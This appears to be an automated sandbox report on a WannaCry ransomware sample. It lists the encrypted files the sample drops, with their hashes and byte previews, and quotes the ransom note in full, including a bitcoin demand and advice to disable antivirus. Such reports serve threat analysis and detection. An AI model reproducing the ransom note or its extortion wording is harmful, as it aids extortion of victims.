                                      Preview:WANACRY!........U..YX...F0.A.(z...U)....O...0.....Js.-(.p.Hs..P.1.f&C..s.p...n,@..B.p..FNPV..V..t'?EA.1E^(w..e4a.........4..ll.|/>j.........^..ma8?.@#..Y.6sF..4...I...k.A.M..O.=i....`.O.rI.....<.h....1.V.W+.*.....l....`up.Q.......ZP....?)L.X?.9.|.x..x..................e.|e.~....F.P..t../.D.C#.7.."Q.s.......y...X......o.n;fq.(.$.Eja5......1.......5....O.{.......u..owx.1&./...t...1....<..)...5.mU......9m.*.^.!|....v.y}.h.$.cr.f.di=......$,.3*.).Y....=.U...'..I/..v..<.....%....gk..2..P..........&..)..|...T..*....u.H.+...y..\..E.....VEi;PX.4.0u..)........xWv..k.b....[.d.O`..[!p...Qn1.5...o%...E.d...`[.._.<..w.$;.........~....*..".!.z.#.X..\2E.7.r.....Y.Rf.!...s.....3I.l.qhn].......>N..O....j.t..r.=.........PE2).j.@..._......`..dj..Q.."E..y.l~.1./..Z...F....qW.>~.Bm.i.W.9..Xq.,..7...K...&...H..r..Nd....Sl8.$.i...Ux...T.....K.I.^...p.j.tu..e.S...4.W.@."..pK.]+.m.7..7.Q..}.]...o.....3/<...j.b... ....l...o.).. =K.....`f.........N...

                                      C:\Users\user\Desktop\WKXEWIOTXI.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.848581875667243
                                      Encrypted:false
                                      SSDEEP:24:bkrtTzRZZcJ83xAYl+Fsa7uZIM+IHE/c0ctrEFY58TjFTaQ2b4zoGEwT0K/:bkpvRZZAJeiN7uZIM+XBC5YFTaQ2czoA
                                      MD5:24427A8A45D9227AF7747F3B63CE0583
                                      SHA1:180DFA3545225976AEB2C0001C3C8A060BE0CC70
                                      SHA-256:D14D9FCF9D0E68EB2D3C096729DD5D452CEDF2B89181AE17FFB01DED4C6E284F
                                      SHA-512:1C4003563EDAEFF1753E87A38D3E75496D4C8D2C65B6D3AF3BF7C991B1592476AA2D958D970C5018DCE1583C53D8126056A3E0149417427F75FE579326E808C4
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!........U..YX...F0.A.(z...U)....O...0.....Js.-(.p.Hs..P.1.f&C..s.p...n,@..B.p..FNPV..V..t'?EA.1E^(w..e4a.........4..ll.|/>j.........^..ma8?.@#..Y.6sF..4...I...k.A.M..O.=i....`.O.rI.....<.h....1.V.W+.*.....l....`up.Q.......ZP....?)L.X?.9.|.x..x..................e.|e.~....F.P..t../.D.C#.7.."Q.s.......y...X......o.n;fq.(.$.Eja5......1.......5....O.{.......u..owx.1&./...t...1....<..)...5.mU......9m.*.^.!|....v.y}.h.$.cr.f.di=......$,.3*.).Y....=.U...'..I/..v..<.....%....gk..2..P..........&..)..|...T..*....u.H.+...y..\..E.....VEi;PX.4.0u..)........xWv..k.b....[.d.O`..[!p...Qn1.5...o%...E.d...`[.._.<..w.$;.........~....*..".!.z.#.X..\2E.7.r.....Y.Rf.!...s.....3I.l.qhn].......>N..O....j.t..r.=.........PE2).j.@..._......`..dj..Q.."E..y.l~.1./..Z...F....qW.>~.Bm.i.W.9..Xq.,..7...K...&...H..r..Nd....Sl8.$.i...Ux...T.....K.I.^...p.j.tu..e.S...4.W.@."..pK.]+.m.7..7.Q..}.]...o.....3/<...j.b... ....l...o.).. =K.....`f.........N...

                                      C:\Users\user\Desktop\WKXEWIOTXI.xlsx

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.804789589167376
                                      Encrypted:false
                                      SSDEEP:24:/TlFoaT58RljTNjU625NLQ10vccPp9kBqOzWKnZlU5JifN:bLoadElhU62/L60vcep92/jwmF
                                      MD5:34958591F6AF251BC39C04F9C980EC5D
                                      SHA1:0C937656D00BA5CC72C3E6DB629A58F76EF16C6A
                                      SHA-256:339E5AFCC0D6A2F979A810793B2346995BA358E4E99980073547C925EEEF624C
                                      SHA-512:60C2CA9169634B0595D9F34A96163E27A68A1BEFBCCE61A942A244913DD97B1E8C72924AD68A7014BBF60447959D09220CEA0CECD5F806CA41A88BC8FD1D5257
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.;.......FF.V|..+..R.,.(...:yl..U."D'..Jw..7..+....U\..........-....BD"A..o...8.o..-m......"/n..}...s..E.Q..k...J....G...".v...G....W3.....%.*g3.....f.7N.I......-..b.....9.K^M............*Z.p.Qh..lY`.^...E^k.. .U...,..5.t.3Bh%..9i.Z.....m@..PA..l...^..8S...0B...:....l.Z.........Q<3..:t....Gl...&\.l..Vl..V#..e.\.tONN...}....].s.....Z.f......p.Eb..._.V..)C. .G=..,I+.pp9...K's.+.C....>.}n~b...U..(%!*'..|.'..v...B...t<...z..-..T_ ...z....M..3.p.i..T..4J'pV...+.U<).d.v.H.c.......\..I....E.I.....fU.|K.h]l.e.i.....2...[.....{o.`..`).~..+=q...B}.x%.n.QQR.,c.w......&.......6Z..16..3..J?...>........<H.y..17C y..C.......!.....f/..7...7n(...,..ah.}U...C..%...'y/#....n..R..h.............Q....OQqB........,Ch..8s'>`,...~'L..JR)N.gM.z.6../.z..<F(0.S.....zx^a.../..li..{.aQ.............m.........:.c....'..Y2.lpI*..?y...x......t..d.X.;.:Dn.....i...?.FW.]...Kw).k.N...f.yT.!..H...aj.=-Zx8...7>..?a.,...8..i.cLq...[..FYo..R....!..M.B....o.9.1...q?k...w.#........

                                      C:\Users\user\Desktop\WKXEWIOTXI.xlsx.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8665905680733985
                                      Encrypted:false
                                      SSDEEP:24:bk73YV3+SYhKB84rHpJc8SiY91UQbQmceq7joRA+5IRp/9pHcNWCXj:bk706AB8kH7jY7UCQmceqUURp/LtS
                                      MD5:DE4D83F323DD04048203F0D9ADD4BF90
                                      SHA1:5FD885890DF7DAC1D3BEB5FBC2332FA07E54AFAB
                                      SHA-256:F7A418EB322FD93CD2D7C89B464652B47B1EE3112FBE10E321332F779B758E30
                                      SHA-512:808AD0B83239AC43A7D0B0D7A49E97FD32B05E6D013E15D67EEF4522C99E3826D17B8BB6BD19093D5E7729A3099F9220E60F864431F9373326F954D775355D08
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......zS...Y..wXw(.V.b......v/...n.-..^]{.p.....D..a<..1..}..AM.v..q.~7..&..,....fw|.Foz.0.Y...._8......k2j.g...m.r...S..."e.....K.dw....~......R)....q.Si#.(.`...O1)......{U4..........%b..s.q..yb..r.p.Uy._.PG..T.h.....%..\.W....u%.cZ.(...d..B..:.S............m0.............$...b.o+7.TG.....V...~.........r..n'<........*..S@bN.-..uh0....`)...V.^.{o..O..~:5..........f.x7.c.j..N....k..V.0..,Z.....XX.......W.._.....H,...x.I.w....fJ89....*.l...spw..i.bJ.pg.) .s,:!.........}...pi/......=4.f./..[.M.......x.gp..@J.w<.n.B.....W.G@...9N.c.Fi.?..gk/.........'#.U..o.....c.|...>...kf.....%.:.Q......*.et....<....ze.e..^.^......5..]Cc>..[..p.}._..C....BpP....l.z.........../...e.&XTd......n.C....d4Gd....J..yS.u!.....+LO.5G..R|J..a......Q.[.D.....@...Y..B.Rn;..w].io.j..........m.@IB"{...N..7...yo[.b^..i.y........)7@.I2M......-r.h.[...h............|.s.#..:M....VK/_....].bnP.<g>.L!.=..R.g...>S7...J.&...7J..{o......y.].e.8.(A.4..d1*.N....rc@.,.

                                      C:\Users\user\Desktop\WKXEWIOTXI.xlsx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.8665905680733985
                                      Encrypted:false
                                      SSDEEP:24:bk73YV3+SYhKB84rHpJc8SiY91UQbQmceq7joRA+5IRp/9pHcNWCXj:bk706AB8kH7jY7UCQmceqUURp/LtS
                                      MD5:DE4D83F323DD04048203F0D9ADD4BF90
                                      SHA1:5FD885890DF7DAC1D3BEB5FBC2332FA07E54AFAB
                                      SHA-256:F7A418EB322FD93CD2D7C89B464652B47B1EE3112FBE10E321332F779B758E30
                                      SHA-512:808AD0B83239AC43A7D0B0D7A49E97FD32B05E6D013E15D67EEF4522C99E3826D17B8BB6BD19093D5E7729A3099F9220E60F864431F9373326F954D775355D08
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!.......zS...Y..wXw(.V.b......v/...n.-..^]{.p.....D..a<..1..}..AM.v..q.~7..&..,....fw|.Foz.0.Y...._8......k2j.g...m.r...S..."e.....K.dw....~......R)....q.Si#.(.`...O1)......{U4..........%b..s.q..yb..r.p.Uy._.PG..T.h.....%..\.W....u%.cZ.(...d..B..:.S............m0.............$...b.o+7.TG.....V...~.........r..n'<........*..S@bN.-..uh0....`)...V.^.{o..O..~:5..........f.x7.c.j..N....k..V.0..,Z.....XX.......W.._.....H,...x.I.w....fJ89....*.l...spw..i.bJ.pg.) .s,:!.........}...pi/......=4.f./..[.M.......x.gp..@J.w<.n.B.....W.G@...9N.c.Fi.?..gk/.........'#.U..o.....c.|...>...kf.....%.:.Q......*.et....<....ze.e..^.^......5..]Cc>..[..p.}._..C....BpP....l.z.........../...e.&XTd......n.C....d4Gd....J..yS.u!.....+LO.5G..R|J..a......Q.[.D.....@...Y..B.Rn;..w].io.j..........m.@IB"{...N..7...yo[.b^..i.y........)7@.I2M......-r.h.[...h............|.s.#..:M....VK/_....].bnP.<g>.L!.=..R.g...>S7...J.&...7J..{o......y.].e.8.(A.4..d1*.N....rc@.,.

                                      C:\Users\user\Desktop\WKXEWIOTXI\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\Users\user\Desktop\WKXEWIOTXI\@WanaDecryptor@.exe.lnk

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jul 25 21:20:31 2024, mtime=Thu Jul 25 21:20:31 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                      Category:dropped
                                      Size (bytes):577
                                      Entropy (8bit):5.134947904596006
                                      Encrypted:false
                                      SSDEEP:12:8x8ypzYNbfICth9wXoUoBjAQob8w2n6nlmCt:8x8B18iAl8sm
                                      MD5:59B6882586C7F42B0BA0EFED3935138A
                                      SHA1:18728D8CE887741D47D544B076ABD2326A55CCEA
                                      SHA-256:46ED06AF448385476C6F90D4A7065F86A637AD3BF59D47E513B4530960895A70
                                      SHA-512:5DCBADB58F8AF16BC86DEC6EA6FD94125E164D079334DB65FEF6BB10CD0E00895A62E6F7FFCF00D6CE0DAB9DF7A49481ADDD5D388BF492D9A2636539C9E769B4
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:L..................F.... ...'Nv.....'Nv......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._....5.......5........t.2......J.2 .@WANAD~1.EXE..X.......X...X................................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............|......C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......210979..............n4UB.. .|..oV.M..J...9.P..#.....n4UB.. .|..oV.M..J...9.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                      C:\Users\user\Desktop\WKXEWIOTXI\NEBFQQYWPS.png

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.805902064505821
                                      Encrypted:false
                                      SSDEEP:12:XO6dZuVyg188/YJ8nzJ+Qxb1vpekoZPq9OpdhEGY+sFepIYlcvPwD+4AKqcEhZX1:XpZxP89nzJPnqP9YlgIZPw1rEhmpNZe
                                      MD5:4AC5830B2B457E8F36DDFF35346D5351
                                      SHA1:F1E40AC149EC9F594A543721F30529C01D62AAAF
                                      SHA-256:ADA8E428C3FB01685A8D717A945C98785F7BE12D028EDDEE15CFBD2080483CA0
                                      SHA-512:4A1144DC38C3A08F584CF4E7DCBA8671B7BDDA3FE8CB99D7C6A542D595DC60702654F2681A7FF3179E9DA2397078B8F3D81901861484C3D64F073649A70850BA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:..h...M.....4yd.....`z.........S.........24y.Y....5..n.....8~.yx..-.=g..p=...<Q...P....kx.T.6....[..?4...3.O..MwU..#L...d>K7Y/>.e+....>.'...@{...>E..'.Y.f[.).(.s...........c.-....@.d.....#.d...hhV.e$k...]f-..B.)......nw..D......fA').OJ..ec..g@.o.......K.,.x.W/Y.2...\.f*...y......l..z.]..DY.x.].MA{.......d...0.C..".C.....`<.;-2.>..".}.X..).k....g.......+L..Xwn.K.M...Q\..v.0......~..*~..W#ow6..,W..>..........u8g+.2qs`.{.;s..../...W.......[.s.{.:l{..H.vd.~...\9./...WEcR}....t....l.....{q...N\'.7..;...r..w..............g.B.k.j.c.4......._.|bb.......{E.....?....j....X(..l..R..6...&..1..N9@.-.W..D....2...........9F..1..1....V.1X...A..6.}r..>."....$..$(...}.Sj\....,.%..D...J|Ej.*.K..S.N.1.E ...-.."i....v/+.E.S...a.rco........3*..+.........f.{<9... wc!....jl&D.M</........'zv...p.....vh...+.'J.c..{...a.]J..c.=..].....O..&`T.@,I.._...r.wV.LqGYy...;...... .cE.._.M....8.m...dY._.S,;.j..O.!."8.]........;@.,.^....fMb./m["A....n.:...Q..W..7..n...H......

                                      C:\Users\user\Desktop\WKXEWIOTXI\NEBFQQYWPS.png.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.858103050832029
                                      Encrypted:false
                                      SSDEEP:24:bkNr/0V9edNCvPbsslGXAaHKGj0pz3MViu+r8vdOqx885Ks:bkpQemvPQ+FGApQVirWdB5Ks
                                      MD5:8F00325028B4BF1D5D8A430D53809C5E
                                      SHA1:101C73D11EA6197B055B31BDDBFB9BA8EA3DD66E
                                      SHA-256:BD7D285EAD2A8EBA6DE712817D2ABBF851506EFC2EFC23FB941248E1DD68D9BB
                                      SHA-512:339D1FFC1A0FDFD1705DD646495F4D5E7AE7B68037698C0F8ADA0F8E3F327057072D8ACEDC6F34786CE6D684D32D053E982BD9F3A29F625BD79A35FF1CF4992D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....../.p...f..zM.......0o.".........yf].._<....Z.C`7^..1.K.(dD.s.ue(....D.!R..y.!L.b.....Q20-..n.. L.0.hv..Et..^....cS.m:.Ng..e...2DJ.d.n....*..c...sN.,..!......T......DYs..`..K....k*.....?.).r.(.I.+. ...r.@.!&..!..J..d.W..o....X.MG.....~X&..g8.9..."...................x,4.M....Q..;.....5...^G.8....i.....8.x..EU0s..0..>.....z.B...B7D.#x."%8...7..3.PIDs.z..\g...Y..$.#8.....w..>.~%...*...=..'d.e.......6...5..d.Z7T........xt{S....c..6..MS.D6......d.s.v.......J.ju.k....&.&T-h....l.-4Q..))-...Q...,c..E..L....A$'B...s.l...T...D\.?....-.!.....TV!......{.{.....$.Y+..O4+.y1....%...h........&o@......#..T......1......<.......3.t...S.......}..)U...f.{....!".<O2.UW......E..D....j...,@.....)..w....LH..A.Ab.B...U.-n...;........Q....i#.G8.x..D.5.....4/.....r..l.....w..P..+...x...[..x0..n.:..*4OT._0G.g...R,b......Y<hp..=..y.#.l.F~:8@V)F~`.(V[.C0.....-x.RS.._1[..0m~...V..c..v.p=*...Vw.^.......a..p..(....w..O.....C;.1..T...'hk._...{.~&...sZ..0.Up....

                                      C:\Users\user\Desktop\WKXEWIOTXI\NEBFQQYWPS.png.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.858103050832029
                                      Encrypted:false
                                      SSDEEP:24:bkNr/0V9edNCvPbsslGXAaHKGj0pz3MViu+r8vdOqx885Ks:bkpQemvPQ+FGApQVirWdB5Ks
                                      MD5:8F00325028B4BF1D5D8A430D53809C5E
                                      SHA1:101C73D11EA6197B055B31BDDBFB9BA8EA3DD66E
                                      SHA-256:BD7D285EAD2A8EBA6DE712817D2ABBF851506EFC2EFC23FB941248E1DD68D9BB
                                      SHA-512:339D1FFC1A0FDFD1705DD646495F4D5E7AE7B68037698C0F8ADA0F8E3F327057072D8ACEDC6F34786CE6D684D32D053E982BD9F3A29F625BD79A35FF1CF4992D
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....../.p...f..zM.......0o.".........yf].._<....Z.C`7^..1.K.(dD.s.ue(....D.!R..y.!L.b.....Q20-..n.. L.0.hv..Et..^....cS.m:.Ng..e...2DJ.d.n....*..c...sN.,..!......T......DYs..`..K....k*.....?.).r.(.I.+. ...r.@.!&..!..J..d.W..o....X.MG.....~X&..g8.9..."...................x,4.M....Q..;.....5...^G.8....i.....8.x..EU0s..0..>.....z.B...B7D.#x."%8...7..3.PIDs.z..\g...Y..$.#8.....w..>.~%...*...=..'d.e.......6...5..d.Z7T........xt{S....c..6..MS.D6......d.s.v.......J.ju.k....&.&T-h....l.-4Q..))-...Q...,c..E..L....A$'B...s.l...T...D\.?....-.!.....TV!......{.{.....$.Y+..O4+.y1....%...h........&o@......#..T......1......<.......3.t...S.......}..)U...f.{....!".<O2.UW......E..D....j...,@.....)..w....LH..A.Ab.B...U.-n...;........Q....i#.G8.x..D.5.....4/.....r..l.....w..P..+...x...[..x0..n.:..*4OT._0G.g...R,b......Y<hp..=..y.#.l.F~:8@V)F~`.(V[.C0.....-x.RS.._1[..0m~...V..c..v.p=*...Vw.^.......a..p..(....w..O.....C;.1..T...'hk._...{.~&...sZ..0.Up....

                                      C:\Users\user\Desktop\WKXEWIOTXI\SFPUSAFIOL.jpg

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.808469869121849
                                      Encrypted:false
                                      SSDEEP:24:czBbBY+nJbLdbFYfYEyIeoU1FL204mQUCX8:wc+5dDPIeoU1Qm0X8
                                      MD5:8BC60448ED73A635A03A2A8ED46A2397
                                      SHA1:24D721373B25A21A93FC7D1861922A6B5EA4EFB3
                                      SHA-256:5C3260F91587659D10FAAB8F0ED04D50F2F02E59D4F5C0AF6E9656B68945C9BE
                                      SHA-512:425E4903E72AB69247B60CF2F63AF6F1918BF6E902A228E5E43D83753EDC6341C02450AF2CCF4F9C684D61C85A16C5DA1C65FB587C9A6009A78253BEB0C707DE
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:C.5.`.Q.}C.*...d....8b!.f/s.....Ud.f.q..r!.;.......w..:[........`...B.>,~.~.IY....HN.q/Gl.H....".(..V.K7...Z..q.X$..A..O.......a..F.3"...)..X..|..`.....}0P..r)...*...i.LU....N.)/.O3.......*..7.shP*......@...V..g.On'..~)..0?.e..C.%.....]..E..]I.......rJ...e5M'.(..^.9.W".........b!...8w|....liR..9M.P...D@5c.{..A....7...k..J../0...n..Y........e4..q..z....^3.Q.E..5....y....E.Z9.-}./....].(.........|.+.TG'K....v..2.yA..)IqS..}..d.Ia.B@.....3......Yx.TJ...g...h]N(.@.w...J...t0...j.N`&?g..T...gk$..j..X.Lw.nm.........sg.B.I/.Y.$v....%Mo{.U..#4..F.....T.l.uS.4..5....!.y..M\y....u.].....l...+.pl.....#DZ...+...s.j...N..55c3...........-57..C..0.}.ub....=...............N.D. ..D.E,.Jv..h..0........s.a.5m.r~q..Yb}..y.>...?....&m).+5Kik....*..v)5..7.J..q.n..G....^..C.S.*.yo...cd.7.n.?.|....j...t..V.....3x..w..J...n.7}.@....4PF..ni..]4|.].K<..I..7.b..q.....q....[..c..t.t.6L..Q.`..6.t.E.T:x...L`x~..kyg....6....2WA.}A".,.d.,.{~p.E<.....!.._..KW?...T.p.f....

                                      C:\Users\user\Desktop\WKXEWIOTXI\SFPUSAFIOL.jpg.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.813108326070129
                                      Encrypted:false
                                      SSDEEP:24:bk8MHJ1gKRFLGBPmGh2jTMGMr8jUfox4LaCdBORmNVTlwvcfMhgn:bk8k6KmB/2jTMGGkUfo0aCdBORmTTFM6
                                      MD5:383B7127E99A221ECB1559AD18C3FD04
                                      SHA1:8FBE3AAFF74C769036911A249889B253379AFFFE
                                      SHA-256:CDA48B0013CB31A96246B9DF07344074ABE4DA1C1C95074CC0662529CE4BB55E
                                      SHA-512:8010ADC871E7E84E2882EC41EC9BA0E4976F64740C6C99B3213471D4D8C5D3B83D1864DDCBC2D3C6DB807CA7E3FA9323FA8D3AEE18EF29C3E27B4665DE7FF7C5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....%.6......p.6.......#....t.<E..4....L.#c-p0.Y...e.>)...M.l.T......J.T.ZT..s.....L.....#...u...A.........?<.Yp......J..Ff.:M;...Y..e;..3,oo...-._.. .Z......>.C.|..{.m.....R.9.{.G....@.>..+!.......x...nM<W....6^M..K..M..^M.rf|G...^..dvn.bn.\...V.Xf............K.N.)....?\....=....o2n.?.in$....?......|....2..].k..7..."..t.....6..j.z...>q..'U...x...=.Wc...,.X.>...v.......=..d..eXa.iD.'z.Yh5.god.'.......~xW.\.$+....D....$..~...@C.K[..W...z+#$...&..i..._.........v.x..`.%.A<g..1... ...k.V|L.A*.....f...7NlT.....;..O\....].sO...5.x..>JZf.{.~..6m'..7..........Z..X..CYl.......A..F...:...3C.!....H.1.1...#....|.l..;.".F[.....QnVS7......*..n.].....r3@._..._.%.w.<.15-?...8.......-s..#........._.ow..B3....=!..A.~<]..6u9.. .{I{x].;.......UD.......T[F...f..,....]R...l.....6.b...=..EOv7.G..<.(..N.....(...41@.....7.As*N.du.....L..2...ljT.Wc.....|#U...KC:..W.l....ARI..X...[E.s(.P'sg...O.]H....j;Z.S.2'...:.CPX...it..!...%..D.#X^.....Wq.[..%...#...bW

                                      C:\Users\user\Desktop\WKXEWIOTXI\SFPUSAFIOL.jpg.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.813108326070129
                                      Encrypted:false
                                      SSDEEP:24:bk8MHJ1gKRFLGBPmGh2jTMGMr8jUfox4LaCdBORmNVTlwvcfMhgn:bk8k6KmB/2jTMGGkUfo0aCdBORmTTFM6
                                      MD5:383B7127E99A221ECB1559AD18C3FD04
                                      SHA1:8FBE3AAFF74C769036911A249889B253379AFFFE
                                      SHA-256:CDA48B0013CB31A96246B9DF07344074ABE4DA1C1C95074CC0662529CE4BB55E
                                      SHA-512:8010ADC871E7E84E2882EC41EC9BA0E4976F64740C6C99B3213471D4D8C5D3B83D1864DDCBC2D3C6DB807CA7E3FA9323FA8D3AEE18EF29C3E27B4665DE7FF7C5
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....%.6......p.6.......#....t.<E..4....L.#c-p0.Y...e.>)...M.l.T......J.T.ZT..s.....L.....#...u...A.........?<.Yp......J..Ff.:M;...Y..e;..3,oo...-._.. .Z......>.C.|..{.m.....R.9.{.G....@.>..+!.......x...nM<W....6^M..K..M..^M.rf|G...^..dvn.bn.\...V.Xf............K.N.)....?\....=....o2n.?.in$....?......|....2..].k..7..."..t.....6..j.z...>q..'U...x...=.Wc...,.X.>...v.......=..d..eXa.iD.'z.Yh5.god.'.......~xW.\.$+....D....$..~...@C.K[..W...z+#$...&..i..._.........v.x..`.%.A<g..1... ...k.V|L.A*.....f...7NlT.....;..O\....].sO...5.x..>JZf.{.~..6m'..7..........Z..X..CYl.......A..F...:...3C.!....H.1.1...#....|.l..;.".F[.....QnVS7......*..n.].....r3@._..._.%.w.<.15-?...8.......-s..#........._.ow..B3....=!..A.~<]..6u9.. .{I{x].;.......UD.......T[F...f..,....]R...l.....6.b...=..EOv7.G..<.(..N.....(...41@.....7.As*N.du.....L..2...ljT.Wc.....|#U...KC:..W.l....ARI..X...[E.s(.P'sg...O.]H....j;Z.S.2'...:.CPX...it..!...%..D.#X^.....Wq.[..%...#...bW

                                      C:\Users\user\Desktop\WKXEWIOTXI\UOOJJOZIRH.pdf

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1026
                                      Entropy (8bit):7.808042207149408
                                      Encrypted:false
                                      SSDEEP:24:QkBZpYLBcktbISIsL7YyuGbxVw6xGjGmflM:QE2LBcWI16uGbbGjGmflM
                                      MD5:29DF03F8D477DEF8C0E7F529A64DC3F3
                                      SHA1:12DA3A390796B486327673918EE38CF80F59FB7C
                                      SHA-256:4345C2BFF4856489FA0E7E6ADE74094509E1F4934B1A9175A3B1725DDBFC31E6
                                      SHA-512:84D1B3250425B78CFE4DCAFFDA78FF7E1F21B7643EEDD057037530C0C35E05CBFC3C04FBA9D70A691C52E1D9A33E87DE92C0C33E72DED149A094D10B8A690F0C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:.?.VI\!?K.......`..K....i.kinx^.I..=Y..4.-Y.....w.....\^....0....`.'......g..-/..q..6..............?&wIvc.0......._.".7..].n.........}.]..UQ.........<V..M................e...u{.i....7ws...dn.n0.t.Kh.=.l~.2.=A|..~...m..?.[q......I/.d..g.l..5x...o.4......h#....=.).m..W[")*W....{p..g....{cQ8..m..<yv..v.&-.1.H(@\....'.&.0.4.f...~.j.......sm...4\b,...J]l@.n..;....Mb...2w.....bP)c.u.0*)....,...-I.Z@g..4...QC..).d.e!".`I..!i..).s}T.'...g...Ij*%....&..........l.R.#.d...8....1\....m3}....0....ZI.......~B.hO.b1.....M..=r......3Xu.Q....D..j.+..5eyN.c.|./.o.Q..7.k%.........5...d.?..,d..*.{.f[.....o+1.*...QVJy..(........E...>......^.....\v.;/d{....9..-..yI[0.#...u..l.OZ'............a.y....Zh...nc... G.@z..|..v...)6........2f2.T....W....F._..:K<^..-............1.c...]g.....0u.-.!......|.[....bD..m..%...}lD...C..C...P.....a..u_..d%...z..Q.#.tM7X......%..K..Q=X......."Um.Z.O.s...q.o{.d.w..].....3.$...ISm.D.....L..P&....y.5].U.l......y.0.-A....v..C.

                                      C:\Users\user\Desktop\WKXEWIOTXI\UOOJJOZIRH.pdf.WNCRY (copy)

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.852019548669028
                                      Encrypted:false
                                      SSDEEP:24:bkavWRXPBVnzcVvrWttHaOofMRhRnqYHhZBa7Ezys59n:bkavWRXJVzcFocfMRhRqY4Q59n
                                      MD5:EBA89012E3247E0A18BD920224D33B12
                                      SHA1:53D11F5596694E8FC1308E21F7ECC519E302D4DE
                                      SHA-256:736AC5578828F2584DEE97DB4C09D7BFE18BF43190B3A7EF51C8F6A90F370714
                                      SHA-512:0B3C514FDB802F082733B1E3601DDB22C31D1113277A8BF5501E8AEAEB78360AB055A030B862F9D6D676607A3FA3A7A67D1476CFBF49F7197DF3A395A361CA91
                                      Malicious:false
                                      Reputation:unknown
